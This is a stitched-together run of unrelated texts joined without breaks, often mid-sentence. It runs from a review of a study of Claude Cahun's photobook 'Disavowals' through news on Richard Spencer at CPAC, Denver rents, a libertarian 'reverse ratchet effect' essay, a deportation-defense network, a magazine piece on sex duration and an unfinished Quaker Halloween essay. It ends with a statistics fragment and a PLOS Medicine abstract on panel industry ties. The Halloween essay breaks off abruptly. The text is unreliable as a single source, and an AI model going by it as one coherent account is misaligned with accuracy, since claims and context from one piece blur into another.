Shaw shows that Cahun’s book challenges the question of authorship on several levels—by combining intimate letters with published works, by problematizing and double-gendering the photographic self-image of the artist herself, and by constructing a work that challenges authorship and autobiography. Even the photomontages present a conundrum; the plates are “composed by Moore following the author’s designs” (19), and it remains unclear how collaborative they were. For instance, in pointing out that the frontispiece image (the only one with a signature) is signed not by “Cahun” but by “Moore” (19), Shaw reads the photomontages as active collaborations with Moore—an alternative to singular artistic production. She argues that “Cahun was exploring the idea of collaborative practice as it might offer an alternative to dominant paradigms of both artistic creativity and human subjectivity” (19). Shaw cites the artist herself when she says, “My lover will not be the subject of my drama; s/he will be my collaborator” (33).
Shaw addresses two specific contexts for Cahun’s book. First, she investigates the historical references (beyond the commonly discussed lesbian context), ranging widely from Victor Hugo and Charles Baudelaire to Sigmund Freud and Havelock Ellis (5). She analyzes Cahun’s critiques of Symbolism, Surrealism, and psychiatry. Shaw acknowledges that creating this sort of historical guidebook runs contrary to what Cahun would have wished, but argues that this context is essential for a twenty-first-century reading. Second, she studies the fragmentary, disjunctive nature of the book and its intertextuality—“among texts, among images, and between texts and images” (21). As a study of intertextuality, Shaw’s study takes its place among literature about photomontage (with nods to Hannah Höch’s and Raoul Hausmann’s disjunctive, political photomontages) and text/image relationships within Surrealism. In many ways, in its meticulous historical unpacking of the photomontages and its concentration on alternative views of interwar women, Shaw’s book seems parallel to Maud Lavin’s Cut with a Kitchen Knife: The Weimar Photomontages of Hannah Höch (New Haven: Yale University Press, 1993). Shaw, however, analyzes Cahun’s entire book, text and image alike, which distinguishes her approach from Lavin’s concentration on Höch’s single images.
Shaw places Disavowals as a reaction to the post-World War I “rappel à l’ordre” with its cultural conservatism. Cahun offers an active alternative to the period’s “conservative heterosexual roles” (31)—fragmenting and inverting the traditional relationship between male artist and female subject, and simultaneously creates a critique of the male Surrealist circle dominated by Breton. Shaw’s chapters follow the progress, more or less, of Cahun’s book, offering deep readings of their visual and textual strategies. Themes include Cahun’s deconstructions of heterosexual romantic life with the use of children’s literature, her participation in Pierre Albert-Birot’s avant-garde theater, Le Plateau (46), and the artist’s translation of Ellis’s sexology writings, especially “La femme dans la société” (58). Shaw’s analysis of one photomontage argues that all of its imagery relates to notions of love—including a youthful portrait of her uncle Marcel Schwob, children’s images, multiple views of Cahun’s head, and a cropped perspective of Michelangelo’s David with a fig leaf. Shaw also examines the Narcissus theme, which Cahun calls “neo-narcissism,” or a path forward (32, 74). She argues that Cahun tried to update the Narcissus theme of the Symbolist writers she admired, such as Rémy de Gourmont and Gide (for Cahun, both Narcissus and Echo are female) (79). However, Shaw argues that Cahun’s fragmented, disjunctive photomontages also critique the conventional notion of classical masculine beauty that exemplifies the interwar “return to order.” In addition, she writes of Cahun and Moore’s critique of conventional femininity, pairing their alternative models with Lacan’s psychoanalytic theories. Although she does not suggest that Cahun knew of Lacan’s “mirror phase,” which was not published till 1949, she argues that they “occupied the same cultural milieu” (143), with Cahun framing the mirror as an alternative view about self and image, in opposition to Lacan who sees no way out (144). For example, in her photomontages and text, instead of Narcissus, Cahun engages an image of Auriga (the Greek bronze charioteer) but genders her as female. Finally, Shaw analyzes Cahun’s affinities with Dada and Surrealist games such as cadavre exquis drawings. For example, one photomontage includes gloves, chess boards, and playing cards, with direct references to Breton’s symbolic use of chess and dream imagery. Unlike Breton, however, Cahun blurs the divisions between male and female and between illusion and truth (177).
Shaw’s complicated reading of Cahun as male/female, author/subject, and collaborator/artist is richly nuanced and expands on the current literature. Her most important contribution, however, is to photographic book scholarship itself. In the past decade, this has become an important field of study, with overviews by Martin Parr and Gerry Badger (The Photobook: A History, New York: Phaidon, vols. 1–3, 2004, 2006, 2014), Andrew Roth (The Book of 101 Books: Seminal Photographic Books of the Twentieth Century, New York, PPP Editions, 2001), and others. A deep reading of individual photographic books is more rare, including Alan Trachtenberg’s discussion of Walker Evans’s American Photographs (1962) in Reading American Photographs: Images As History—Mathew Brady to Walker Evans (New York: Farrar, Straus and Giroux, 1989) and Sarah Greenough’s engagement with Robert Frank’s sequencing in Looking In: Robert Frank’s The Americans (Washington: National Gallery of Art, 2009). Unlike earlier Cahun scholars who repeatedly discuss a handful of images, Shaw’s is a truly intertextual reading. She gives a rich reading of each photomontage and relates it to Cahun’s own texts. Working through all the chapters, she argues that Disavowals must be read as a complete work, not a series of pictorial examples. Shaw’s book, with its detailed and meticulous contextualized readings of both the photomontages and texts in Disavowals, will be a major addition to the slim list of in-depth studies of photographic books.Richard Spencer, a neo-Nazi and white supremacist provocateur, was reportedly thrown out of the Conservative Political Action Conference (CPAC) on Thursday morning after holding court with reporters in the lobby for roughly 45 minutes. Spencer said he was credentialed for the event, and that he had purchased a ticket, but organizers reportedly had security officials strip him of his badge and escort him out of the building. Shortly before he was removed, the American Conservative Union’s Dan Schneider gave a speech in the ballroom specifically condemning the alt-right as a “left-wing, fascist” collective. ACU officials tell The Daily Beast that they had Spencer escorted out as soon as they heard he had crashed the conference. Additionally, a CPAC spokesperson told NBC News that they gave Spencer the boot because they find his views “repugnant.” Spencer also showed up last weekend to the International Students for Liberty Conference—a libertarian youth gathering in D.C.—but was booted from the hotel premises after a crowd gathered to boo, jeer, and debate him.New rentals hitting the market exceed demand, puts the brakes on big rent increases
Metro Denver apartment rents leveled off and vacancies rose sharply between the third and fourth quarters after a surge in new supply left more landlords scrambling to fill their units, according to a quarterly update from the Apartment Association of Metro Denver.
"The natural forces of supply and demand are at work, and there has been an enormous amount of new apartments added to the supply, so rents are flattening," Mark Williams, the association's executive vice president, said in the report.
The drop in median rents wasn't huge — a $7 decline from $1,252 a month in the third quarter to $1,245 in the fourth. The average rent held steady at $1,292 a month.
An apartment building at 21st and Lawrence streets in Denver. (Anya Semenoff, The Denver Post)
But in a sign more downward pressure on rents could be coming in the months ahead, the area's apartment vacancy rate surged to 6.8 percent from 5 percent in the third quarter.
The fourth quarter is typically a weaker period for apartment rentals, but the jump went far beyond any seasonal adjustment. It was the biggest quarterly surge in vacancies since heavy job losses caused people to move out of their apartments in 2008 and 2009.
"It was much more than expected seasonally," said report co-author Ron Throupe, a real estate professor at the University of Denver.
Vacancy rates were highest in northwest Denver, at 17.4 percent; Boulder County, excluding Longmont and the city of Boulder, 14 percent; downtown Denver, 11.2 percent; and north Douglas County, 9.6 percent.
Developers have focused on those areas for higher-rent apartments. Given that owners of new apartment buildings may not be familiar with the survey or may be too busy leasing units to respond, the actual vacancy rate in those areas might be understated, Throupe said.
Supporting the argument of oversupply on the high end of the market, the more-affordable areas developers passed over show much tighter apartment vacancy rates.
Wheat Ridge is at a low 2.6 percent, while Englewood and Sheridan are at 3.3 percent, northeast Denver at 4.1 percent and southwest Denver at 4.2 percent.
Boulder's University Hill area, which has constant student demand, was at a tight 2.7 percent.
The report said developers added 1,678 new units to the local market, but that net absorption was a negative 4,247 units, meaning once-occupied units were sitting vacant.
Throupe, however, dismissed concerns that the apartment market was headed for a "crash" or that the rising vacancy rate signaled a deeper economic weakness.
"Rents won't crash," he said. "We will go flat for a while. We aren't having a major downturn."
Given strong in-migration, the only thing that would change that would be a lack of job growth. But an employment report Tuesday showed the state added a strong 10,700 jobs in December from November.
A separate report from Axiometrics showed that the annual rate of apartment rent increases in December had fallen to 5.5 percent, down from 6.4 percent in November and below the peak annual increase of 12.8 percent reached in February.
Axiometrics puts the average effective rent in the Denver-Aurora-Lakewood area at $1,323 per month, down $41 from the peak rent reached in August.
Aldo Svaldi: 303-954-1410, asvaldi@denverpost.com or @aldosvaldiThe so-called ratchet effect, described most comprehensively by Robert Higgs, is the phenomenon of rapid government growth in the face of crises, followed by a lack of its proportional reduction in the post-crisis stage. Hitherto investigated primarily through the lens of historical analysis, it also opens broad — and probably still largely unexplored — opportunities for praxeological research.
By reflecting on the past century and the beginnings of the present one, one immediately notices that creating occasions for "ratcheting up" the size of the government was a (perhaps unintended) gift bestowed by some political factions upon other political factions — the beginnings of wide-scale American twentieth-century statism, whose pinnacle was the introduction of income tax and the establishment of the FED, paved the way for the Great Depression and, consequently, for the New Deal; economic downturns associated with the outbreaks of World Wars I and II provided public legitimacy for unprecedentedly deep and mostly irreversible regulations; the bursting of the credit bubble inflated by the FED prompted the powers that be to make attempts at fighting the resultant chaos with an even more intensive use of the same statist means that had originally led to its emergence.
Thus, we can see that the ratchet effect is a historical fact, a fact that currently finds yet another corroboration right in front of our eyes. Should it lead us to the depressing conclusion that we are helpless against the ever-growing Leviathan? Personally, I would recommend not losing hope, not only because hope dies last, but also because, at least in the case under consideration, it has knowledge on its side. The ratchet effect is a historical observation, not an apodictic law of praxeology. There have been times in the most recent history when statism actually shrunk and receded — a fine example would be the happenings in the countries of the former Soviet Bloc at the turn of the 80s and 90s. And yet, a pessimist could claim that these happenings were perfectly consonant with what could be expected in the period following a protracted crisis spanning the entire era of real socialism — admittedly, it is true that statism receded, but not quite to the pre-war level. So the "ratcheting-up" effect did take place after all.
The above remark should inspire an optimist to further the elaboration of the ratchet effect theory on the basis of a meticulous praxeological analysis: if one can classify as a crisis not only a relative and temporary downturn taking place within the framework of a given economic regime, but also the whole period of a regime based on economically misbegotten foundations, then a completely different periodization of history becomes possible (and in the long run, perhaps even a complete reversal of its disturbing tendencies). The point is to make the public regard any putative post-crisis stage as an extension of the crisis — which is possible at least insofar as the feeling of living through a crisis is subjective (for example, a hermit would not regard shortages of electricity and gas as indications of a crisis, and, conversely, a citizen of Lichtenstein would presumably be disturbed by the emergence of welfare state mechanisms in his everyday environment).
For instance, if Poles in the early 90s had been generally aware that it is only the tip of the statist iceberg that had melted away, they could have pressed for further (and quicker) dismantling of the post-communist molochs, as well as for a much broader expansion of the area of free human action. Consequently, the Polish privatization plan could have been done in a Rothbardian, rather than a Balcerowicz-esque fashion.
In other words, as long as the feeling of crisis, as well as the firm conviction that the cause of crisis is statism, are present in public opinion, it should be possible to implode every consecutive incarnation of a statist regime, each of which is more liberal than the previous one, but not yet liberal enough (i.e., still unacceptably repressive of human freedom, and hence "crisis-like"). Given the possibility of the above scenario, there exists a viable way of shrinking the Leviathan to a minimum, or even eliminating it altogether (depending on which of these options is acceptable for the general populace — that is, the implementation of which of them would be taken as an indication that the crisis of freedom is finally over). Here we are dealing with the reverse ratchet effect, brought about by a change in the perception of politico-economic processes — instead of interpreting them as a series of alternating crises and periods of normalization, we see in them a cascade of accumulating and ever-growing slumps (which admittedly shrink over certain narrow time intervals, but also consistently expand over the long run).
Again, a pessimist could say that at present nothing indicates that the second of the abovementioned conditions necessary for the reversal of statization — that is, the awareness that the cause of crisis is precisely statism, or, more specifically, monetary socialism — could be met by contemporary American society. The inauguration of the President-elect, and hence the inauguration of the notorious "stimulus plan," based on curing the disease by ingesting more of the poison responsible for its onset, was greeted with general applause and tears of joy. They, in Central Europe — the pessimist might say — got their chance to trigger the reverse ratchet effect twenty years ago. We, in America, will not get our chance even today.
And yet, I think that even faced with such gloomy observations, there is no reason to be defeatist. Appearances notwithstanding, the moment of breaking the veil of economic delusions seems closer every day.
Firstly, today we have at our disposal a wonderful area of informational freedom, in which reliable, logical knowledge does not need accreditation and need not be afraid of censorship, while its scope, breadth and speed of dissemination know no limits. This area is the Internet. We should not downplay it too rashly as something that we have known for years and that (allegedly) has already become a commonplace medium. Internet is still a less influential source of information than TV, radio or print. Moreover, the consolidation of certain environments and the creation of certain repositories of knowledge (including those associated with the Austrian school of economics) is still a relatively new and rapidly expanding phenomenon, even on the short timescale of the World Wide Web's existence.
Secondly, the persuasive power of the academic world, including its part that has long been in the service of statism, is on a continual decrease. It is the result of the good old law of diminishing marginal utility — today, higher education is a mass phenomenon, rightly losing its aura of elitism and intellectual prestige. The more we approach our own education from a healthy distance, the more distanced we can become from the influence of various television or press experts, pundits and talking heads — which is a most positive phenomenon, indicative of independent thinking. Furthermore, as some suggest, we are soon to witness a revolutionary expansion of distance learning, followed by the ultimate breakdown of the academic cartel and the nationalized accreditation system, whose result will be a radical growth of respect for the kind of knowledge that is uncomfortable for the statists.
Thirdly and finally, the globally rising aversion to imperialistic and neocolonial actions, such as the American aggression in Iraq and the Russian interferences in Georgia and Chechnya, may eventually lead to the intensification of secessionist tendencies worldwide, including the regions whose inhabitants have hitherto expressed no such claims. It should be a welcome phenomenon for all those who contend that political and administrative fragmentation is conducive to free economy, fair competition and monetary discipline.
To sum up, despite gloomy appearances, the future should be seen in bright colors. Although the American crisis will deepen — and it is hard to forecast how long it will last — it should culminate with the correct identification of the causes of disease, and then, perhaps — if enthusiasm luckily meets knowledge — we shall witness the largest reverse ratchet effect ever recorded in the annals of history.
February 7, 2009
The Best of Jakub Bozydar WisniewskiEarlier this week, the U.S. Fifth Circuit Court of Appeals heard arguments in Senate Bill 4, the law Texas passed earlier this year to ban cities like Austin and San Antonio from behaving as “sanctuary cities.” The law was controversial during the legislative session: protesters turned up at the Capitol and state offices, and several, including Austin city council-member Greg Casar, chose to get arrested rather than disperse. At one point, Republican Representative Matt Rinaldi called ICE to deport on demonstrators in the Capitol, and was accused of threatening to shoot a colleague. The bill’s provisions continue to raise questions as it makes its way through the legal system.
For the most part, the ways that cities resist federal immigration rules resemble the sanctuary city practices: they create policies, either formal or informal, that read as non-compliance. They refuse to exchange immigration information obtained during arrests with federal agencies, or fail to cooperate with detainer requests. And at both the federal and state level, there’s been pushback against such policies. SB 4, which created penalties including large fines and jail time for officials who don’t comply with federal policy, was one example of the reaction to so-called sanctuary cities. The increased immigration crackdown in cities like Austin over the spring and summer may have been as well.
But non-compliance isn’t the only tool for cities to support their residents who face deportation, whether they’re undocumented or accused of crimes that could cost them their legal immigration status. On Thursday, eleven U.S. cities, including Austin and San Antonio, announced a proactive plan to stop deportations. The SAFE Cities Network, which launched with the Vera Institute for Justice, vows to provide a publicly-funded attorney to every person in each city who faces deportation:
SAFE Cities Network jurisdictions will offer an expanding model for encouraging both safe and welcoming communities. Each jurisdiction was selected by Vera through a competitive request for proposals process. All selected jurisdictions demonstrated their commitment to deportation defense by investing public dollars, which were matched by a catalyst fund administered by Vera. “Immigration is part of our nation’s past, present, and future, and our communities will find more opportunities to grow and thrive when we recognize and embrace this fact. That means that all residents must see their justice systems—from our law enforcement to our courts—as delivering on our country’s promise of fairness,” said Nicholas Turner, president of the Vera Institute of Justice. “Common sense immigration policies like those embodied by the SAFE Cities Network ensure that all people, regardless of background, income, and history, are guaranteed a fair day in court. Not only does such public funding for indigent immigrants facing deportation maintain trust within our communities, it ultimately increases public safety and keeps deserving families together.”
Everyone who faces criminal charges in America is entitled to a lawyer, regardless of immigration status. But immigration detainees don’t face criminal charges, so their cases don’t move through the judiciary. Rather, those cases go through the executive branch and the Department of Justice. As a result, only 37% of immigrants facing deportation have legal representation as they go through a process with consequences as dramatic and serious as a criminal conviction.
Having a lawyer makes a big difference in immigration procedures. A study from Vera, using data from a similar program piloted at New York’s Varick Street Immigration Court and funded by the city since 2014, suggests that the number of deportations go down dramatically when everyone in the process has a lawyer. Without lawyers, the study found that only 4% of detainees successfully managed to avoid deportation; with lawyers, that number spiked to 48% of cases ending in successful outcomes.
The SAFE Cities Network is funded by both the cities participating and through grants from Vera, and offers a layer of protection for immigrants in cities whose “sanctuary” status is increasingly at risk. Laws that target sanctuary cities, like SB 4, argue that elected officials and law enforcement behave lawlessly by refusing to cooperate with federal guidelines. “Elected officials and law enforcement agencies, they don’t get to pick and choose which laws they will obey,” said Governor Greg Abbott while advocating for SB 4. Offering representation to everyone who finds themselves in immigration court sidesteps the issue, offering cities a new avenue to express community values around immigration without directly confronting the state and federal governments above them.
That’s important for Austin and San Antonio, as the battle over local control grows increasingly pronounced in Texas. Laws preventing cities from determining their own fate—around immigration policy, as well as ridehailing apps and heritage trees—have been increasingly popular in Texas in recent sessions. But attempting to overturn a policy to provide legal aid, like that espoused by the SAFE Cities Network, at the state level would present a far greater challenge.
The two cities are the first in Texas to participate in a program like this, but not necessarily the last. Vera promises an “expanding model” for the SAFE Cities Network, and the eleven jurisdictions in the initial lineup range from the large-scale, like San Antonio and Chicago, to smaller cities like Madison, Wisconsin and Santa Ana, California.“Sometimes I think we’ve been at it for an hour. Then I’ll look at the clock.” Photo: FPG/Archive Photos/Getty Images
In 2012, Kanye West successfully halted the distribution of a sex tape reportedly depicting him in flagrante with a Kim Kardashian look-alike. Instead, TMZ described the two versions its editors had seen: “Both tapes are impressively long — the first is roughly 20 minutes and the second is more than 40. And we’re talking constant action. Seriously, the guy takes no breaks. It’s incredible. Almost Sting-like.” I sent the link to two friends. The male friend replied in awe. The female replied with skepticism. “Even if that were possible, it’d be at least 20 minutes too much of sex.”
How many minutes of sex is enough, and how many is too few? In public and pop culture, tales of sex that lasts all night long tend to draw low whistles and nods of approval. (“We have sex like Kenyan marathon runners,” Olivia Wilde once bragged of fiancé Jason Sudeikis.) Men’s and women’s magazines alike offer listicles on how to make sex last longer. (“Squeeze the base of his penis,” Cosmopolitan advises. “It quite literally stops him from ejaculating. Think of it like bending a hose in half to stop the flow of water.”) And in surveys, Americans of all ages and backgrounds report wanting sex that lasts longer than your average sitcom: When Fox News health pundit Keith Ablow surveyed fans in 2007, 80 percent of both men and women wanted sex to last half an hour. And yet, the actual duration of heterosexual intercourse tends to be pretty short: Most researchers agree that the average is something like six minutes. But every time I’ve repeated this fact to laymen, the reply, invariably, is “That’s all?”
Yes, that’s all. “That sucks,” the laymen say. But why? While plenty of sexual realities do, yes, suck, the near-universal assumption that brief sex is bad sex stuck out to me. Why is longevity viewed as an absolute value? When did we decide going longer was better, and has that changed how long we go when we do it?
As it turns out, even those six precious minutes may be more than our predecessors enjoyed. In his 1948 studies, Alfred Kinsey “found that 75 percent of American men orgasmed within two minutes of commencing intercourse,” Rachel Hills writes in her new book, The Sex Myth. “But more recent studies have reported a median time of between 5.4 and 7.5 minutes — suggesting that men may be adapting their sexual behavior to better fit the social ideal.” Today, she puts it wryly, “it is no longer acceptable for the sex act to end before one party has even begun.” We call that premature ejaculation and are terrified of it; back before Kinsey, “premature ejaculation” referred to men who came before their penises even touched the inside of a vagina. Only later did the term come to mean ejaculation that occurred earlier than desired. In the ’80s and ’90s, sexologists tried to define premature nut-busting according to number of thrusts — generally, eight to 15 — but have since switched to minutes.
What’s changed? The sexual revolution, for starters, which made female sexual pleasure a public goal for men for the first time. In 1970, Masters and Johnson boldly defined all heterosexual men who came before their partners more than 50 percent of the time premature ejaculators. Modern doctors tend to be less doctrinaire about who must orgasm when, but they do agree on some rules of thumb. According to a 2008 survey of sex therapists, sex is “too short” when it lasts one to two minutes. “Adequate” is three to seven minutes, and “desirable” is seven to 13. The range for “too long” went up to 30 minutes. Anything longer, like “more than 40,” will henceforth be known as “too Kanye.”
So why do we expect hour-long sex, when anything longer than ten minutes is a statistical anomaly? Some of the confusion about how long sex should last derives from the nebulous way we conceive of the act. The vast majority of data on the subject measures something wonkily called “intravaginal ejaculatory latency time,” defined as the time between the moment an erect penis enters a vagina and the moment that penis begins to come. This view of sex is, of course, hopelessly mechanical, not to mention penis-centric, and has little to do with the way people actually fuck. But then, how do you define the beginning and end of sex? Does it begin when one partner becomes aroused? When genitals are touched? What about those fabled women who can orgasm just with their nipples? Critiquing a series of scientific studies, the lesbian-feminist scholar Marilyn Frye estimated in 1992 that what straight couples do for eight minutes at a time with high frequency, lesbians do “considerably less frequently [and] takes, on average, considerably more than eight minutes to do. Maybe about 30 minutes at least. Sometimes maybe about an hour.” (Gay men in relationships report ejaculatory issues at the same rate as heterosexual men, but how long they’re actually doing it for is unknown; data on the duration of non-hetero sex remains frustratingly behind the times.)
But even with a more expansive definition of sex, couples seem perpetually disappointed. In 2012, a team of researchers from the University of New Brunswick took the bold step of measuring the duration of not just IELT but also foreplay. The study asked men and women in relationships to report how long an ideal foreplay session should last as well as ideal intercourse. Then they timed their actual sex lives in the comfort of their own bedrooms. (Or bathrooms, or kitchens, or backseats of cars. They weren’t required to specify.) They reported an average of 11 to 13 minutes of foreplay, and seven to eight minutes of intercourse. (Even though they were describing the exact same encounters, the men consistently reported both acts as lasting a minute or two longer than their partners did.) But everyone — male and female — wanted the entire encounter to be roughly double the length it was. Women wanted eight more minutes of foreplay and seven more minutes of intercourse; men wanted five more minutes of foreplay and 11 more minutes of sex. Which confused me: I can understand why reality might not meet expectations during vaginal intercourse, but foreplay has no physical constraint. If everyone wants five to seven more minutes of fooling around, then why don’t they just, you know, do it?
“Stupidity?” offered Eric Corty, the Penn State Erie professor who polled sex therapists about ideal duration. Or perhaps it’s an issue of logistics: “People are very poor sexual communicators,” offered E. Sandra Byers, the psychologist who co-helmed the foreplay study. And then there’s the “time-dilation effect,” as one of my straight male friends calls it. “Sometimes I’ll think we’ve been fucking for an hour, and then I’ll look at the clock and it’s only been 15 minutes.”
But could it be that people don’t actually want more sex? Maybe when they are not actively having it, they overestimate how much they want — the same way I buy too much food when I grocery-shop on an empty stomach. “Also, it could be a socially desirable option to the answer,” Corty noted. That is, people saying what they think they’re supposed to say — or supposed to want. Social expectations play a role, Corty said, “even in an anonymous survey.”
How did we get to the point of wanting longer sex in the abstract but never really acting on it IRL? According to Rachel Hills, today’s sexual expectations are tied to a myth that sex is “more special, more significant, a source of greater thrills and more perfect pleasure than any other activity humans engage in.” If good sex is necessary for self-actualization, the logic goes, then more sex will push us even higher. Thus, women feel compelled to declare themselves multi-orgasmic nymphomaniacs; men feel compelled to go harder and last longer. But whether this attitude has actually altered sexual behavior and stamina, as Mills argues, is debatable. When I asked Marcel D. Waldinger, a Dutch neuropsychiatrist affiliated with Drexel University, he was skeptical. He pointed to a 1943 study from the German researcher Bernhard Schapiro that suggests there were as many men back then on the “ultrarapid” end of the spectrum — one minute or less — as there are today. So maybe we’re all overthinking this. As Byers points out, people tend to want more time not just for sex but for everything they enjoy — or think they ought to enjoy. “If you give me a questionnaire that says ‘Would you like to visit your granddaughter more?’ I would say yes. If you said ‘How do you plan to fit that into your life?’ — that’s a different question.”
*This article appears in the September 21, 2015 issue of New York Magazine.It's a strange idea, isn't it? After all, the traditional Quaker testimony against keeping of times and seasons holds that there is no spiritual significance to any day. Quakers do not, traditionally, take liturgical notice of Christian seasons and festivals, be it Lent or Advent, Easter or Christmas. How then can we have a Quaker Halloween, a festival that is now of limited liturgical significance even to mainstream Christian churches.
There's more to Halloween than the lack of liturgical significance, however, and more to Quaker approaches to Christmas and Easter than their lack of liturgical significance for us. The important aspect of many of these festivals is now, in the global economic north, cultural. Practising members of many faiths will celebrate elements of such holidays, giving presents and attending parties.
Then, also, there is the strong religious significance of Halloween to many modern pagans, generally those of traditions claiming heritage of the British Isles or Northern Europe, though they may call it other names, such as Samhain (pronounced without even the hint of an English phonetic'm', by the way), the Gaelic/Celtic celebration marking the end of the harvest and beginning of the darkest part of the year. Both Celtic Reconstructionists and Wiccans hold it to be a day of special significance to the dead, a time for honouring and remembering them, or even communicating with them.
Liberal Quaker practice and teaching is a marvellous balance of the individual with the communal; a path that allows individuality without individualism. As such, any attempt to consider the relevance or importance of anything to Quakers has to be bracketed in with caveats about the difference of individuals and that the speaker speaks only for themselves. However, I will try to give some ideas about what other Friends have expressed to me, and what I think Halloween could mean, or how it could be used by Friends that have paid it little regard before now.
The very name of Halloween comes from the Christian liturgical calendar, even if it has little meaning for Christian liturgy now. The 1st of November is All Saints' Day, or the Feast of All Saints, also known as All Hallows' Day; the 2nd is All Souls' |
is for their benefit that I present this brief primer on how not to display the eventual estimate. I only want to make one major point here: that the common statistical methods produce estimates that are too certain.
…
We are much more certain of where the parameter lies: the peak is in about the same spot, but the variability is much smaller. Obviously, if we were to continue increasing the number of stations the uncertainty in the parameter would disappear. That is, we would have a picture which looked like a spike over the true value (here 0.3). We could then confidently announce to the world that we know the parameter which estimates global average temperature with near certainty.
Are we done? Not hardly.
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RedditAbstract Background Financial ties between health professionals and industry may unduly influence professional judgments and some researchers have suggested that widening disease definitions may be one driver of over-diagnosis, bringing potentially unnecessary labeling and harm. We aimed to identify guidelines in which disease definitions were changed, to assess whether any proposed changes would increase the numbers of individuals considered to have the disease, whether potential harms of expanding disease definitions were investigated, and the extent of members' industry ties. Methods and Findings We undertook a cross-sectional study of the most recent publication between 2000 and 2013 from national and international guideline panels making decisions about definitions or diagnostic criteria for common conditions in the United States. We assessed whether proposed changes widened or narrowed disease definitions, rationales offered, mention of potential harms of those changes, and the nature and extent of disclosed ties between members and pharmaceutical or device companies. Of 16 publications on 14 common conditions, ten proposed changes widening and one narrowing definitions. For five, impact was unclear. Widening fell into three categories: creating “pre-disease”; lowering diagnostic thresholds; and proposing earlier or different diagnostic methods. Rationales included standardising diagnostic criteria and new evidence about risks for people previously considered to not have the disease. No publication included rigorous assessment of potential harms of proposed changes. Among 14 panels with disclosures, the average proportion of members with industry ties was 75%. Twelve were chaired by people with ties. For members with ties, the median number of companies to which they had ties was seven. Companies with ties to the highest proportions of members were active in the relevant therapeutic area. Limitations arise from reliance on only disclosed ties, and exclusion of conditions too broad to enable analysis of single panel publications. Conclusions For the common conditions studied, a majority of panels proposed changes to disease definitions that increased the number of individuals considered to have the disease, none reported rigorous assessment of potential harms of that widening, and most had a majority of members disclosing financial ties to pharmaceutical companies. Please see later in the article for the Editors' Summary
Editors' Summary Background Health professionals generally base their diagnosis of physical and mental disorders among their patients on disease definitions and diagnostic thresholds that are drawn up by expert panels and published as statements or as part of clinical practice guidelines. These disease definitions and diagnostic thresholds are reviewed and updated in response to changes in disease detection methods, treatments, medical knowledge, and, in the case of mental illness, changes in cultural norms. Sometimes, the review process widens disease definitions and lowers diagnostic thresholds. Such changes can be beneficial. For example, they might ensure that life-threatening conditions are diagnosed early when they are still treatable. But the widening of disease definitions can also lead to over-diagnosis—the diagnosis of a condition in a healthy individual that will never cause any symptoms and won't lead to an early death. Over-diagnosis can unnecessarily label people as ill, harm healthy individuals by exposing them to treatments they do not need, and waste resources that could be used to treat or prevent “genuine” illness. Why Was This Study Done? In recent years, evidence for widespread financial and non-financial ties between pharmaceutical companies and the health professionals involved in writing clinical practice guidelines has increased, and concern that these links may influence professional judgments has grown. As a result, a 2011 report from the US Institute of Medicine (IOM) recommended that, whenever possible, guideline developers should not have conflicts of interest, that a minority of the panel members involved in guideline development should have conflicts of interest, and that the chairs of these panels should be free of conflicts. Much less is known, however, about the ties between industry and the health professionals involved in reviewing disease definitions and whether these ties might in some way contribute to over-diagnosis. In this cross-sectional study (an investigation that takes a snapshot of a situation at a single time point), the researchers identify panels that have recently made decisions about definitions or diagnostic thresholds for conditions that are common in the US and describe the industry ties among the panel members and the changes in disease definitions proposed by the panels. What Did the Researchers Do and Find? The researchers identified 16 publications in which expert panels proposed changes to the disease definitions and diagnostic criteria for 14 conditions that are common in the US such as hypertension (high blood pressure) and Alzheimer disease. The proposed changes widened the disease definition for ten diseases, narrowed it for one disease, and had an unclear impact for five diseases. Reasons included in the publications for changing disease definitions included new evidence of risk for people previously considered normal (pre-hypertension) and the emergence of new biomarkers, tests, or treatments (Alzheimer disease). Only six of the panels mentioned possible harms of the proposed changes and none appeared to rigorously assess the downsides of expanding definitions. Of the 15 panels involved in the publications (one panel produced two publications), 12 included members who disclosed financial ties to multiple companies. Notably, the commonest industrial ties among these panels were to companies marketing drugs for the disease being considered by that panel. On average, 75% of panel members disclosed industry ties (range 0% to 100%) to a median of seven companies each. Moreover, similar proportions of panel members disclosed industry ties in publications released before and after the 2011 IOM report. What Do These Findings Mean? These findings show that, for the conditions studied, most panels considering disease definitions and diagnostic criteria proposed changes that widened disease definitions and that financial ties with pharmaceutical companies with direct interests in the therapeutic area covered by the panel were common among panel members. Because this study does not include a comparison group, these findings do not establish a causal link between industry ties and proposals to change disease definitions. Moreover, because the study concentrates on a subset of common diseases in the US setting, the generalizability of these findings is limited. Despite these and other study limitations, these findings provide new information about the ties between industry and influential medical professionals and raise questions about the current processes of disease definition. Future research, the researchers suggest, should investigate how disease definitions change over time, how much money panel members receive from industry, and how panel proposals affect the potential market of sponsors. Finally it should aim to design new processes for reviewing disease definitions that are free from potential conflicts of interest. Additional Information Please access these Web sites via the online version of this summary at http://dx.doi.org/10.1371/journal.pmed.1001500. A PLOS Medicine Research Article by Knüppel et al. assesses the representation of ethical issues in general clinical practice guidelines on dementia care
Wikipedia has a page on medical diagnosis (note: Wikipedia is a free online encyclopedia that anyone can edit; available in several languages)
An article on over-diagnosis by two of the study authors is available; an international conference on preventing over-diagnosis will take place this September
The 2011 US Institute of Medicine report Clinical Practice Guidelines We Can Trust is available
A PLOS Medicine Essay by Lisa Cosgrove and Sheldon Krimsky discusses the financial ties with industry of panel members involved in the preparation of the latest revision of the American Psychiatric Association's Diagnostic and Statistical Manual of Mental Disorders (DSM), which provides standard criteria for the classification of mental disorders
Citation: Moynihan RN, Cooke GPE, Doust JA, Bero L, Hill S, Glasziou PP (2013) Expanding Disease Definitions in Guidelines and Expert Panel Ties to Industry: A Cross-sectional Study of Common Conditions in the United States. PLoS Med 10(8): e1001500. https://doi.org/10.1371/journal.pmed.1001500 Academic Editor: Aaron S. Kesselheim, Harvard University, Brigham and Women's Hospital, United States of America Received: February 7, 2013; Accepted: July 8, 2013; Published: August 13, 2013 Copyright: © 2013 Moynihan et al. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Funding: NHMRC Screening and Test Evaluation Program Grant. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Competing interests: RM, JD, and PG are involved in planning an international conference called Preventing Overdiagnosis. GC is a board member of General Practice Education and Training, Ltd; a registrar for the Medical Administration of the Princess Alexandra Hospital in Brisbane, Australia; and a former board member of the Royal Australian College of General Practitioners. SH is a member of the PLOS Medicine editorial board and chairs the Australian Pharmaceutical Benefits Advisory Committee, an independent advisory body for the Australian government. LB declares that no competing interests exist. Abbreviations: ADHD, attention deficit 